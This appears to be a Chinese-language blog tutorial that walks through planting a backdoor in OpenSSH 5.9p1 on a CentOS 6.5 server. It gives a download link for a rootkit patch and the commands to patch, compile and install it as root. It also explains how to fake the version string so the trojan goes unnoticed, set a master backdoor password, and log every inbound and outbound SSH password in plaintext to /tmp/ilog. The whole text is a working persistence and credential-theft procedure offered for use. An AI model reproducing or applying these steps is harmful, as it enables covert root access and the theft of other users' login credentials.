本来想结合实战一起写出来的,但提权过程中出现了些问题,所以就单独写吧。
本机环境:centos6.5
OpenSSH_5.3p1
准备工作
下载openssh
的安装包和后门安装包。
安装包:http://www.openssh.com
后门安装包:http://core.ipsecs.com/rootkit/patch-to-hack/0x06-openssh-5.9p1.patch.tar.gz
为了伪装
在安装后门之前,先查看本机的ssh版本号ssh-V
解压安装包
tar zxvf openssh-5.9p1.tar.gz
tar zxvf 0x06-openssh-5.9p1.patch.tar.gz
注入后门
将后门文件夹的sshbd5.9p1.diff
复制到openssh-5.9p1
文件夹中,并在该openssh-5.9p1
文件夹执行patch <sshbd5.9p1.diff
命令
修改版本号和后门密码
在openssh-5.9p1
文件夹中执行vim version.h
修改版本号(为了伪装,这里修改成一开始记下来的版本号),修改后门密码和记录密码的保存路径vim includes.h
ilog
是记录别的机子登录本机的密码olon
是记录本机登录到别的机子的密码
(这应该能理解吧)
安装
在安装之前先安装配置环境,不然会报错。yum install -y openssl openssl-devel pam-devel
yum install zlib-devel
yum install gcc
yum install openssl
yum install openssl-devel
安装及编译:./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5
显示到这个说明编译成功,然后执行make
和make install
命令安装
执行命令sevice ssh restart
重启ssh
测试后门
kali
链接ssh
查看登录过来的ssh密码cat /tmp/ilog
还是明文的
OK!大功告成
特别注意的是,整个过程都是在root
用户下执行的,不然没有权限执行。